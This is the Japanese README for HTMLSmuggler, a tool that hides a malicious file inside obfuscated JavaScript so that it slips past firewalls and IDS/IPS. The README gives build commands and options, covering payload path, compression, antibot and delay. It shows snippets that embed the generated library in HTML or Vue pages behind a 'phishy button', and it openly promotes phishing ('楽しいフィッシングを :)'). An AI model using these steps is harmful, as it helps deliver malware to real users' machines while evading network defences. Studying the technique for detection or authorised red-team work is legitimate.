
HTMLSmuggler - IDSバイパスとHTMLスムグリングによるペイロード配信のためのJSペイロードジェネレーター。
HTMLスムグリングとは何かについての完全な説明はこちらにあります。
HTMLスムグリングの主な目的は、ファイアウォールや侵入検知システムなどのネットワークセキュリティ制御をバイパスし、悪意のあるペイロード(例:実行ファイル/アーカイブなど)を一見無害なHTMLやJavaScriptコードに偽装することです。Webアプリケーションの動的な性質を利用することで、攻撃者はセキュリティアラートを発生させたり、従来のセキュリティメカニズムに検出されることなく、ユーザーのブラウザに悪意のあるコンテンツを配信できます。この技術により、悪意のあるファイルのダウンロードは最新のIDSソリューションではまったく表示されません。
HTMLSmugglerツールの主な目標は、ユーザー定義の悪意あるペイロードを埋め込んだ独立したJavaScriptライブラリを作成することです。このライブラリは、フィッシングサイト/メールのHTML添付ファイルなどに統合して、ターゲットユーザーのシステムに埋め込みペイロードを配信(IDSおよびIPSシステムをバイパス)するために使用できます。作成されたJavaScriptライブラリの例はこちらにあります。
yarnをインストールします。
依存関係をインストール:
yarn
ヘルプメッセージを読む。
yarn build -h
Options:
-p, --payload <string> Path to payload file you want to smuggle
-n, --name <string> Name of file, that would be downloaded
-t, --type <string> Contet-Type of downlonaded file (default: "application/octet-stream")
-f, --function <string> Name of exported function (default: "download")
-c, --compress Enable payload compression (gzip)
-d, --delay <number> Delay before antibot and download in ms (default: 0)
-a, --antibot Enable bot detection and block them (recommended)
-h, --help display help for command
(オプション)obfuscator.js内のjavascript-obfuscatorオプションを変更します。私のプリセットは優れていますが、非常に遅いです。
JavaScriptペイロードをコンパイル:
⚠️ 3 MiBを超えるペイロードの使用は避けてください(FAQ参照)
yarn build -p /path/to/payload -n file.exe -t "application/octet-stream" -c -a -d 3000
dist/payload.esm.jsまたはdist/payload.umd.jsからペイロードを取得します。その後、ページに挿入し、download()(または-fフラグで指定したカスタム関数)関数で呼び出すことができます。
payload.esm.jsはimport { download } from 'payload.esm';のインポート(ECMAScript標準)で使用されます。
payload.umd.jsはHTMLのscript SRCおよびrequire('payload.umd');のインポート(CommonJS、AMD、および純粋なHTML)で使用されます。
完全な例はこちらにあります。
準備手順を実行します。
作成したスクリプトをHTMLファイルにインポート(またはインラインで挿入)します:
<head>
<script src="payload.umd.js"></script>
</head>
bodyからdownload()関数を呼び出します:
<body>
<button onclick="download()">Some phishy button</button>
</body>
楽しいフィッシングを :)
完全な例はこちらにあります。
準備手順を実行します。
作成したスクリプトをVueファイルにインポートします:
<script>
import { download } from './payload.esm';
</script>
download()関数を呼び出します:
<template>
<button @click="download()">Some phishy button</button>
</template>
楽しいフィッシングを :)
Q: RangeError: Maximum call stack size exceededというエラーが発生します。どうすれば解決できますか?
A: この問題はここで説明されています。修正するには、obfuscator.jsでsplitStringsを無効にするか、ペイロードを小さくしてください(この問題のため、最大2MBのペイロードを使用することを推奨します)。
Q: ペイロードのビルドに時間がかかるのはなぜですか?
A: 使用するペイロードが大きいほど、JSファイルの作成に時間がかかります。ビルド時間を短縮するには、obfuscator.jsでsplitStringsを無効にしてみてください。以下は、デフォルトのobfuscator.jsを使用した推定ビルド時間の表です。
| ペイロードサイズ | ビルド時間 |
|---|---|
| 525 KB | 53 s |
| 1.25 MB | 8 m |
| 3.59 MB | 25 m |